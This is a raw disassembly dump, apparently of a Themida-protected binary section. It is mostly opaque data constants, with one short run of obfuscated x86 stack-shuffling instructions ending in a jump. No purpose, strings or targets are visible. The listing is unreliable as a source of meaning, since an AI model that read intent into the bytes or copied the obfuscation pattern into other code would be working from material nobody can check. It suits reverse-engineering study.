dd 0A1952309h, 0B093512h, 29840FC0h, 89000000h, 351EDD8Dh
dd 28CE909h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 339E96C3h, 4E8h, 12C00h, 2820F00h
dd 0B3000000h, 605150C5h, 0FE8h, 9E17AD00h, 0F27B4742h
dd 37036C3Eh, 0E67CAC98h, 615F575Fh, 24448B59h, 8B99B304h
dd 6E800h, 0CA550000h, 0B797E517h, 5ACF8B66h, 4244489h
dd 6A5845B2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h, 5C350607h
dd 82995FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 860F3BC3h, 3, 0BFAB70Fh, 3511B99Dh
dd 86B58D09h, 6A093BE4h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0A251C351h, 0EC1D594Bh
dd 0BB663EBAh, 6C71BCBh, 656C6946h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 4DC35040h, 10E976A4h, 1F000000h
dd 532419ABh, 1929D16Eh, 0E94D6B3Ah, 8BF964F7h, 446C7F8h
dd 636E6F6Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 15C35646h, 0C7D38B01h
aFLasss db 'F',8,'lassХ',0Dh,0 ; DATA XREF: Themida_:00555DD5o
db 2 dup(0), 0D9h
dd 4D751E1Eh, 3475BF43h, 0FABA70D5h, 0C759FB8Bh, 0C46h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 2884E3C3h, 0EC796D27h, 13E9h, 408D9800h
dd 0A2B796B1h, 0B711681h, 58BBB699h, 7A743B19h, 8B66006Ah
dd 86858DF8h, 6A093BE4h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 5043C355h, 89CA8B66h
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 458B06C3h, 10F680C5h, 0EBDB966h, 2F595FFh
dd 0BA660935h, 0C00B78E4h, 4D840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9884D3C3h
dd 0A0B4D133h, 293BC974h, 3517B1BDh, 4CE909h, 81600000h
dd 622D8DDFh, 9E844h, 0CADA0000h, 0FE480086h, 896D3610h
dd 3503719Dh, 0E9615909h, 0FFFFFAE2h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 65C35242h, 90F9F6CEh, 0C9C848EAh
dd 7EA5B937h, 0B58D4F45h, 9357099h, 856AEF81h, 0B872BBh
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 4AF6C356h, 0CEE6BB66h, 261D9D89h
dd 0E6FF0935h, 0FE9h, 0E4AF1D00h, 13FDE9A3h, 3D33A4B8h
dd 170BD73Ah, 8D8DC18Bh, 93BECA9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0C0C35040h, 9159938h, 8FF1F0F0h
dd 8D89FBB0h, 9351629h, 0FE8h, 0E0337900h, 0FAB89965h
dd 6594684Ah, 152E5705h, 7D85C75Eh, 54093528h, 6A00005Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 2344C355h, 5FA3D681h, 85C7668Ah, 9352255h
dd 0
dd 1179BD89h, 0DA800935h, 45B5FF27h, 6A09350Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0D62DC357h, 0EDC163A3h, 0D0595FFh, 95090935h, 9351B4Dh
dd 95FF006Ah, 9350829h, 6AEBC08Bh, 446F4515h, 0A3F6286Dh
dd 0E0F73543h, 65554AF9h, 35EC063Ch, 534A5FAh, 0DDE8E080h
dd 0CAEE4C6Fh, 0B74ED552h, 639771CAh, 980E95D5h, 96B1408Dh
dd 1681A2B7h, 0B6990B71h, 3B1958BBh, 201F7A74h, 41F32BE7h
dd 63AA4ACCh, 0F2B9D33Eh, 5272C4E4h, 0F537B66Dh, 5B4CAA0Dh
dd 0CE8949F5h, 0F359C912h, 0BE89590Fh, 5B1AA508h, 0ED55388Bh
dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 201C61FDh, 2033C7FDh
dd 202404FDh, 20AC7AFDh, 206954FDh, 208B42FDh, 20FA2BFDh
dd 204208FDh, 201EE7FDh, 203322FDh, 2024FBFDh, 20AE5CFDh
dd 2069B9FDh, 208B9EFDh, 20F97BFDh, 204027FDh, 201D8BFDh
dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h
dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 206B76FDh, 20E375A7h
dd 7ACB75A7h, 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h
dd 8B6EF070h, 0FFA67CC6h, 73AC989Ah, 8B8DF070h, 0FF6C7CC6h
dd 73C998DAh, 8BFDF070h, 0FF357CC6h, 7365989Eh, 8ACBF070h
dd 0FF1E7CC6h, 73F098D6h, 8A46F070h, 0FF7B7CC6h, 734298D2h
dd 95FDF070h, 0FFD77CC6h, 731498CEh, 95C4F070h, 0FF427CC6h
dd 73DE98CAh, 959BF070h, 0FFF07CC6h, 738798C6h, 959AF070h
dd 0FFA67CC6h, 73AC98BAh, 955BF070h, 0FF6C7CC6h, 73C998C2h
dd 95D6F070h, 0FF357CC6h, 736598BEh, 95EBF070h, 0FF1E7CC6h
dd 73F098BAh, 951BF070h, 0FF7B7CC6h, 734298AAh, 8AA1F070h
dd 0FFD77CC6h, 731498A6h, 8AD7F070h, 0FF427CC6h, 73DE98A2h
dd 8A7BF070h, 0FFF07CC6h, 738798B6h, 8A9EF070h, 0FFA67CC6h
dd 73AC98B2h, 8B90F070h, 0FF6C7CC6h, 73C998AEh, 611CF076h
dd 0FF357CC8h, 7365985Dh, 651EF076h, 0FF1E7CC8h, 73F09859h
dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 4152C117h, 3FD525F4h
dd 0E5ADFDF5h, 229E4E10h, 7ACFB734h, 29B723ACh, 7A1A20ADh
dd 277975FDh, 9469987Ch, 0FFA07CC6h, 731498DBh, 97B1C87Dh
dd 9CF7CC6h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 73879859h
dd 2B96FEBDh, 7A2F7A45h, 0DE028AFDh, 0F7C24E10h, 41085248h
dd 0FCC6F8F4h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 0DEBA8AFDh
dd 0F79E4E10h, 41265248h, 0FCD1F8F4h, 23228A50h, 0F787BC1Fh
dd 738798DBh, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
dd 0DA708A57h, 0D1FB4E10h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
dd 0EFD0DE9Bh, 73AC985Dh, 9208DE9Bh, 7AE57795h, 72F3360Bh
dd 0EF866E88h, 7387985Dh, 7954C54Dh, 0DABA8AADh, 209E4E10h
dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh
dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh
dd 85B5FF4Dh, 411FD568h, 5F1F2FF4h, 71DA51FDh, 0B9F5133Fh
dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h
dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 73429859h
dd 97D7C070h, 8A5D7CC6h, 0D02C7F51h, 9737E002h, 92087CC6h
dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h
dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 73F098E0h, 97F8C87Dh
dd 0FF37CC6h, 0F5FCF8ECh, 2AB54E10h, 7A5C6115h, 781B9DFDh
dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
dd 738798E0h, 9743C87Dh, 0F2F7CC6h, 0F512F8F1h, 2AC24E10h
dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 4151D168h, 96C3F8F4h
dd 0F0264E0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
dd 0F9BB5E3Ah, 78357115h, 0DACB8A3Eh, 0CE264E10h, 0E96514Ah
dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh
dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 73F0985Dh, 0FAEA917Dh
dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
dd 0B995FCF9h, 7ACB7345h, 0DE708AFDh, 0F7FB4E10h, 4194F660h
dd 39A0F8F4h, 7A4ECD3Eh, 0EFD075FDh, 73AC9859h, 0F1CEB57Eh
dd 0EF1A8935h, 73C9985Dh, 0B98E9757h, 8543BE15h, 7B1DFF02h
dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 41DE8917h, 86EAFCF4h
dd 9754CF7Dh, 75E57CC6h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
dd 73659859h, 0D2ADFCBDh, 0F19E4E10h, 0AA79F835h, 85EC4E0Fh
dd 411FD56Fh, 3C7FFDF4h, 6D04801Fh, 795E75FDh, 41C2DD7Fh
dd 0E01A35F4h, 73F08739h, 0F3E1B67Eh, 644B22FEh, 797975FDh
dd 4151DD77h, 0C8ECF8F4h, 89264E0Fh, 722F2B59h, 85CB75FDh
dd 4108D16Fh, 7E0AF6F4h, 7C718589h, 7ABC7244h, 4B5A7DFDh
dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh
dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
dd 90162FFDh, 73F0871Eh, 9749CF70h, 0F797CC6h, 7A71CCF5h
dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 73AC9851h, 7BD3497Dh
dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
dd 41DC6917h, 0D625F8F4h, 0F1C24E10h, 725C7D80h, 89F275FDh
dd 0B8B01459h, 0F7DC75F9h, 41B3D940h, 0C3EF46F4h, 7A9775F5h
dd 0B9AADF0Eh, 0D658F89Dh, 0FBFB4E10h, 7B7874C2h, 0FBB000FCh
dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 4108D940h
dd 7AF3CDF4h, 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh
dd 417ACC78h, 8BD08AF4h, 0DE8CAh, 75ED0000h, 58AA11DAh
dd 0CFE49B8Eh, 66C06716h, 0B35AF98Bh, 0A2C281CAh, 0BE00005Ch
dd 178215C2h, 145C681h, 0FE8BE87Eh, 665932FFh, 3766D781h
dd 5FF2E981h, 0C18141B4h, 52906C9h, 0ADC08166h, 0F9F18148h
dd 0BB47650Dh, 75C8B276h, 8FC38B51h, 0AF78B802h, 0EA8332F4h
dd 0EF816603h, 0E94A8E22h, 8, 9A77F694h, 0C66F1704h, 1EE81h
dd 850F0000h, 0FFFFFFB0h, 0FE9h, 419F8A00h, 954F37C0h
dd 647A5330h, 61FD1712h, 6F0904EBh, 0BDE9003Bh, 22000004h
dd 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h, 3A019A3Fh
dd 4950C941h, 2978C54h, 4C49E799h, 0C95894Fh, 0AFF5998Fh
dd 12FA4E05h, 9EEAD401h, 0FA4DBA00h, 0CC28AE12h, 0AE2B4725h
dd 4158D143h
dd 0F88A45Ch, 0E3FC70E4h, 425FD1EBh, 4AC92DAFh, 8E3E5BD6h
dd 19E7F06Ch, 0D45B9B06h, 7104F06Dh, 41B7E4FDh, 77E9B22Fh
dd 0A315DCF9h, 0F6E60D88h, 52CCBFA5h, 0AE398945h, 830CF1A3h
dd 3968F71h, 0B3886CF0h, 49A8312Dh, 362314BBh, 180C191Ch
dd 50190E3Fh, 6B5989h, 59350000h, 362E814Bh, 4F73751Ch
dd 78AF445Ch, 4EF50151h, 6974EB15h, 18C6068Ah, 1C3641B2h
dd 7AF400A6h, 6AFAF9E6h, 1C364162h, 9E7B436Bh, 736E0355h
dd 1C5F9F4Fh, 0C0998BD8h, 894FF98Dh, 1DAh, 2A47B900h, 5DD044AFh
dd 41367C22h, 0AC321C36h, 70C02514h, 8F6118DCh, 5F78F064h
dd 0C4B02D94h, 0F8A53C31h, 0AAF3EC80h, 0AB2E4709h, 618A248h
dd 4EE35D99h, 8C30A053h, 9E693534h, 5CE01380h, 2B48BA64h
dd 0FB8E76CBh, 80267762h, 3CC9F140h, 9D59B2FCh, 5F920F23h
dd 0EBD10FBBh, 0DF1C3555h, 0ACC33DB9h, 86DFC231h, 0EBA0BD9Eh
dd 85E78950h, 0A8000000h, 48AB2E47h, 0B33E5BD4h, 0E0E5CF4Eh
dd 6D050EA0h, 35788D37h, 5B67891Ch, 6591BB40h, 366772EBh
dd 0C32EABC2h, 58D0D951h, 5F42B13Fh, 0C7391E06h, 44C82BAEh
dd 12CD10B0h, 5BD8950h, 2C634114h, 0D54BB524h, 4FA729C8h
dd 5BA8h, 14A6E200h, 63697B1Ch, 571C3613h, 15FEA551h, 8E6673EBh
dd 5D94051Ch, 896875EBh, 572212F3h, 0B713BBDEh, 48AB2E45h
dd 41941EC4h, 1E901C36h, 0DF619005h, 2308E511h, 0A1BF2A47h
dd 0A937BA34h, 1C364126h, 0EDEADA2Bh, 41B903A1h, 2BAD1C36h
dd 0F9EA23CBh, 17D894Fh, 4E000000h, 46AD2847h, 92071EA0h
dd 6B74E862h, 594B9888h, 0F2EF827Ch, 7797DFFh, 0F3E67D68h
dd 29727C00h, 7B530B9Eh, 26B3AD4Fh, 17AD49CBh, 150363C8h
dd 55C72AACh, 25DBC0D9h, 0D3619009h, 13011BEBh, 4F3A2AFBh
dd 23D5C6D3h, 0ED5F920Fh, 1B896871h, 332FDACAh, 0F855F5A6h
dd 7292851Fh, 0FE1F810Ah, 1E507065h, 0B0579FF8h, 140h
dd 514EE0DAh, 9B2EFEA5h, 0BBF0BC3h, 3641EFD5h, 31C5EB1Ch
dd 35E78A3h, 876A6C15h, 1B801915h, 4DE0C965h, 88329A54h
dd 69E80C95h, 0C6307BF7h, 0E69E096Fh, 0D90DB7EDh, 0E7091300h
dd 5A7FF709h, 9EEF5D94h, 0F66F91B6h, 95041DE3h, 6673EF61h
dd 63389535h, 4A2F9285h, 60000000h, 7C7872Eh, 364223D9h
dd 0E211971Ch, 36416852h, 0BAAA771Ch, 213FFFB6h, 35BB3DB4h
dd 0AE2BE999h, 7E290956h, 4A9B2742h, 2DC93568h, 0D4896381h
dd 7B1D1C35h, 0AAE822h, 9A240000h, 59DB1683h, 1751E869h
dd 0AD49A5C0h, 0A19B2E06h, 11EBDEE1h, 31B3C14Ah, 1C356F8Bh
dd 3797597Fh, 0AB492B93h, 0E2D5717Ch, 0DBB97C12h, 15B91502h
dd 9BE5CFh, 41BFE113h, 0C044AF2Ah, 99587E34h, 0D8E0B27h
dd 44E56919h, 1136841Ch, 0EAF76BE5h, 0C4596307h, 9B3F1DDh
dd 0FD1300AAh, 14851BDBh, 0F81300AAh, 0A9362AD4h, 790CF84Dh
dd 0C09FFCE5h, 0DDB11DF5h, 0A9FDC7h, 0D7F7F913h, 0AA03C9h
dd 5F1F713h, 1D794B59h, 5B7D0BD8h, 61082498h, 0F524E2CDh
dd 71806EB8h, 3E221283h, 851BB36Bh, 14FF4F37h, 4B009D43h
dd 0BC39B2Eh, 0DB5E7D5h, 26CDD315h, 0AD21BEB2h, 8F7B48D5h
dd 946039DBh, 0B42D41B7h, 0C27993Dh, 17D76D89h, 480BFB7Ch
dd 0D0EAEFD5h, 3AB44059h, 918B26h, 0B72C4EB4h, 809C6439h
dd 8636DC17h, 0D3B78684h, 42BC38E6h, 5646AD2Ah, 0FEC4DAAEh
dd 0FA1BFA85h, 0C1B300F4h, 657B3A36h, 1BFA855Fh, 29B555Bh
dd 0D9F5E27Eh, 61481EA9h, 0FB73CAFAh, 5F9113DEh, 16721897h
dd 0FABD4288h, 0E2FF721Bh, 0B1378D0Fh, 31C5D04Fh, 349h
dd 844F8A00h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h
dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 727Ah
mov [esp], edx
push 93BF425h
mov eax, [esp]
add esp, 4
push esp
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
pop dword ptr [edx+8]
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5464A4
; ---------------------------------------------------------------------------
db 0DDh
dd 3BF87FB8h, 0FFC50309h, 0EAE175E0h, 5067E5Bh, 6016E532h
dd 40D01863h, 7F9780Fh, 0E8399830h, 0EAC6C76Bh, 45B19F1Fh
dd 0C52E425h, 5DB6D366h, 242DFF38h, 3BAB7D54h, 1970762h
dd 0BB9570Bh, 0BB8D8D54h, 89093BF9h, 350821BDh, 298D8909h
dd 0B2093516h, 7D85C7B4h, 0D0093528h, 6A000071h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0EAA5C353h, 3D85898Bh, 0C7093522h, 35225585h, 9, 0DC42BF00h
dd 0B5FF7BDAh, 9350C45h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0F7C35242h, 9006F814h, 0FAAA951h, 84h
dd 9852900h, 0FF09352Eh, 350D0595h, 3525BF09h, 6A53FFh
dd 82995FFh, 0C08B0935h, 0A6E748EBh, 3D723117h, 0DD662223h
dd 9616CCCDh, 7DA17FBEh, 9D210149h, 56892135h, 1AB71E10h
dd 59850C15h, 0F884B307h, 76F38A16h, 0C2231D46h, 0C22737A8h
dd 0C5A7A984h, 2162AFABh, 645B2B8h, 0C0B6FC9Bh, 4A3D0352h
dd 8E878B1h, 41000000h, 63AA4ACCh, 66B9D33Eh, 590F35BBh
dd 2771858Bh, 0C1810935h, 6001h, 0DE9h, 7AE80700h, 21AD642Bh
dd 84456851h, 68A41Ah, 81000000h, 84B627C0h, 9D315A29h
dd 9352BA9h, 8B11348Bh, 351DE19Dh, 86EE8109h, 66303752h
dd 81AD43BFh, 2DEEE5EEh, 77DC805Ah, 5890F681h, 9D0148ABh
dd 935164Dh, 81113489h, 123C6DC3h, 1EA835Fh, 8B4A4A4Ah
dd 0B0FA81DFh, 0FFFFFA0h, 2085h, 5E800h, 696A0000h, 8B113B64h
dd 21E958F8h, 0E5000000h, 13657289h, 34BE9DA0h, 9FF57904h
dd 52BB6602h, 0FF92E914h, 1BD4FFFFh, 59A90E94h, 86CF5413h
dd 0D3E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh
dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h
dd 0D37526B3h, 47DFE5FBh, 0CADB12FAh, 5EEABC04h, 0DED4793Dh
dd 0EB157716h, 1D8F6772h, 94389405h, 3641644Eh, 823E601Ch
dd 0E9516722h, 1F9E56B4h, 6938B45h, 0D6DC02C6h, 0D21C3567h
dd 715328CCh, 0E3C8E320h, 0CEF4AADEh, 0CA1C371Ch, 519F3834h
dd 0FC90FA5h, 73DD1C75h, 0A71CB724h, 1C78345Fh, 0D2C75F61h
dd 153222h, 15930000h, 39100EADh, 0BA3AD2D5h, 0A93C8448h
dd 0E196FC1Ch, 4758F7FFh, 0CF41B015h, 39AB4653h, 0C537BA27h
dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
dd 5D2AC9D0h, 3BFAC768h, 833EE909h, 564CFFF9h, 3BFB8EB8h
dd 0E8C50309h, 0Dh, 304822E5h, 5B11ED6Ch, 0DA0F1E18h, 11B58B83h
dd 5F09352Dh, 3259B529h, 0C7810935h, 5DEBh, 68FCh, 8D8B0000h
dd 93524A5h, 8D9D8958h, 0FF093526h, 10E93834h, 6000000h
dd 31619281h, 66A5DC94h, 28DE245Eh, 5A08D7F1h, 68B0Fh
dd 0BD890000h, 93529A5h, 0B7FAEA81h, 0B0B549FBh, 8166EA81h
dd 9D8B13C2h, 9351BE1h, 4EE5EA81h, 85896289h, 9353305h
dd 0F071489h, 38Ch, 0D9BF0F00h, 88B0Fh, 8F0F0000h, 2, 0E8816160h
dd 1ABCBA21h, 0A519D8Bh, 0C0810935h, 1ABCBA1Dh, 8E0FFC60h
dd 6, 811B501h, 81610935h, 0FFA2D8F8h, 74850FFFh, 60FFFFFFh
dd 11F1BD31h, 0EB610935h, 0F34ECC04h, 0DD9E95Ch, 8C680000h
dd 0E9093BFEh, 0FFF98254h, 3BFF8D68h, 824AE909h, 4F68FFF9h
dd 0E9093C00h, 0FFF98240h, 3C00E968h, 8236E909h, 6F68FFF9h
dd 0E9093C04h, 0FFF9822Ch, 3C078068h, 8222E909h, 9E68FFF9h
dd 0E9093C08h, 0FFF98218h, 8D0EAB89h, 524B56CBh, 9704918Eh
dd 4B5049E1h, 0A0FD9C95h, 0D24E693h, 0D2490F8Ch, 0C22D6C7h
dd 0D64A0E8Fh, 0B0DCD4C9h, 0FA45C8F2h, 0AC0FBC12h, 48AB2E47h
dd 603D5AD4h, 0BCDD5466h, 0B043B335h, 0B9203DE5h, 9438B63Ah
dd 3467F4Eh, 80737515h, 2F4EE0DAh, 13C4B71h, 57993F13h
dd 0C82CB5A9h, 13C943Ah, 0E4D05513h, 8502AAE3h, 54BD92h
dd 2E0E0000h, 0BF0BC39Bh, 36419B21h, 0C5098F1Ch, 3641951Fh
dd 0E70F911Ch, 60769D43h, 3E721503h, 836D193Eh, 0CAD8F4D1h
dd 1300B500h, 0F5FCF2F4h, 0B46167h, 0D1C32213h, 90AD8CF4h
dd 0F9BBED8h, 10647E7h, 11619285h, 2D000000h, 0FD039E93h
dd 0FA7E7564h, 17D153FAh, 2000009h, 43AE2B47h, 57445DD1h
dd 69653D88h, 364343Bh, 938AF215h, 0ECAAEEFAh, 0B739E70Fh
dd 5F0AAC3Ch, 5ACB1300h, 0E11C716Ah, 384B9285h, 7C000000h
dd 42959B2Eh, 463295D4h, 1D715D93h, 0E40F8AA3h, 0FFE9460h
dd 0E515036Ah, 1EA030C3h, 0DF130109h, 90BD9E86h, 0D7928531h
dd 0F4h, 9C1509B3h, 1BD61881h, 47B65D99h, 0D143AE2Bh, 3EB24158h
dd 2EABC522h, 7FF20CC0h, 670B9262h, 0DF33BC17h, 4FA00A1h
dd 2866D6Ah, 0FBE478F2h, 1A12ACA2h, 0C5EB797Dh, 751C35E8h
dd 45BBE0F9h, 0B641B029h, 0FDA32BE3h, 15030E7Ah, 5A64686Eh
dd 9719D8C5h, 0EABD8A5Fh, 0DA049A32h, 9E0BCC85h, 346A1508h
dd 1C337D8Eh, 648A648Ah, 0E4761868h, 706AFFA9h, 4FE6D884h
dd 9E507A28h, 0A2441C33h, 964C804Ch, 1C339E2Ch, 9E466C32h
dd 9C421C33h, 29F9026h, 0AD3308ECh, 2EC125B4h, 0AFE9A235h
dd 0B0C1A04h, 99BB0000h, 84995F3Ch, 67F8801Dh, 0C75F217Ah
dd 1E17C9D2h, 6019227Bh, 7526B3AAh, 306D6803h, 7429B6A8h
dd 366770ECh, 1EA43A92h, 1A12FA43h, 2E474A89h, 396723ABh
dd 1C364193h, 1BA13F87h, 0F1C3641h, 80996789h, 7800DD19h
dd 0B1A2FBE4h, 0BC39B2Eh, 419B21BFh, 98F1C36h, 74A341EDh
dd 88150371h, 11149E44h, 8E101301h, 0D3ED9160h, 1CB2425Fh
dd 1301119Ah, 0A74A57CAh, 589B3E35h, 0E58074F1h, 924B39ACh
dd 92852A3Bh, 0BC2Ch, 2B475B00h, 58D143AEh, 7C22B241h
dd 7A1C3646h, 3D2A904Eh, 781E1C36h, 71DA4E48h, 985C6FE3h
dd 108D0A26h, 0E8BA416h, 0DFF874E6h, 0A01A6E14h, 0E9D3118Eh
dd 0DD1C3612h, 1DA83BBBh, 0BB458945h, 6B83BA6h, 6A859536h
dd 0C135BB9Dh, 2A74C33h, 7D1EC015h, 0CFFFD7E2h, 0CC07C811h
dd 0B21ABC0Bh, 13881108h, 21C5D44Dh, 0E9A1EC44h, 0BF0DA59h
dd 0BA00000Ah, 9E623B98h, 0D3851683h, 0A45C415Ch, 0CE920B8Ch
dd 62594257h, 0D1C86129h, 7A1F14CCh, 0D4C15F21h, 841D11C7h
dd 475D3117h, 12FA427Dh, 15676C79h, 896875EBh, 0E47DEF07h
dd 3C30A8F5h, 0C5C79275h, 0E719698Ch, 0F9A24C49h, 0AE2B475Ah
dd 61D9F43h, 75E96393h, 8BAB2F6Ch, 636B2376h, 354EE3Dh
dd 0E8E40A15h, 4FA41098h, 6E52E7E9h, 0A0319CDAh, 85D91D42h
dd 0BDE68ADFh, 0A27A4DACh, 97A5742Ah, 4D537412h, 60FE00A6h
dd 0F8FC8073h, 9F925A6Dh, 836DEF02h, 0E07D7F4Bh, 0B167FDF9h
dd 4F6B488Eh, 3B37B2ADh, 1FD1539Eh, 0EEA450D4h, 46DAE4E8h
dd 0A0BC4459h, 62CCAF37h, 52D18A9Dh, 94968h, 7D5AF800h
dd 0DCC55820h, 0BB2639BFh, 91061EE2h, 0BCDD540Ch, 0E3A7D4DFh
dd 8A4E4F4Ah, 0E1970491h, 9749524Fh, 0AB9DFE9Bh, 41F7BDE3h
dd 0E2F312FAh, 0AE2B47E1h, 23849C1Eh, 0E1638E0Bh, 627FF10Fh
dd 6AE90D8Fh, 0BA12CADDh, 41B02940h, 4D9337BFh, 15036C06h
dd 0CEF0DC02h, 9B54156h, 3F5C79F7h, 0B73AA7B9h, 105AAB13h
dd 460CE9A9h, 6C9A20AEh, 8AE1300h, 1F13007Dh, 0D210BC94h
dd 0BCDAED3h, 0D5056B53h, 58770340h, 31C0E69Ch, 0AE36A3BFh
dd 0E99FE9C3h
dd 0AF6F57DAh, 5E000008h, 12C6D7FCh, 6719821Fh, 8D0CDC8h
dd 62168710h, 0C6CDCECBh, 3D5CD5B5h, 16839860h, 405DD385h
dd 1089A55Bh, 0BBE9A58Bh, 12FA4211h, 2EF3D805h, 0D50BC39Bh
dd 150373DAh, 545E8448h, 50130110h, 1DD4C15Eh, 0F3A1559Bh
dd 9F9206EDh, 4AE79902h, 9117A44Fh, 0A14F4AE3h, 1065772Dh
dd 8F111301h, 55E77F3Fh, 0C0596746h, 4EBFAD34h, 39E9366h
dd 4804CA9Ah, 951B1300h, 0FE9F7D7h, 0F3130048h, 3528B0EDh
dd 0E9B745ACh, 0CD130048h, 4CE19480h, 0E8877955h, 728206EDh
dd 100FB195h, 62FF7185h, 0FAEC7C77h, 0AE130047h, 0E984775Dh
dd 941CABF0h, 0EAD2F6D6h, 2F4299FFh, 0AE44B0BAh, 13005907h
dd 8818DBFDh, 5F213CADh, 0FADFC520h, 0B4AA10CEh, 0F89E9EE1h
dd 8AF954FCh, 76E06A4h, 1D000002h, 5BD39B2Eh, 861CB03Eh
dd 15034403h, 0DDDFEFF1h, 0E6F36841h, 1B86990Bh, 269A54D8h
dd 0D4C40775h, 0FE9F51B2h, 0C9D7E67Ah, 13011603h, 746D01F7h
dd 6658747Ah, 0B527CACFh, 50D41FBAh, 49D7569Eh, 923BBCE5h
dd 34110362h, 0BA804A58h, 72748DC2h, 8B140882h, 32701C12h
dd 8DC2BA88h, 209A5A7Ch, 0D360930Ch, 0FFBF0FDDh, 0F8683745h
dd 4B59753Ch, 8DC25F81h, 0A6837375h, 569D3A32h, 4C514EE2h
dd 52782662h, 468DC25Fh, 46DA54A0h, 5F23A937h, 0A1178DC2h
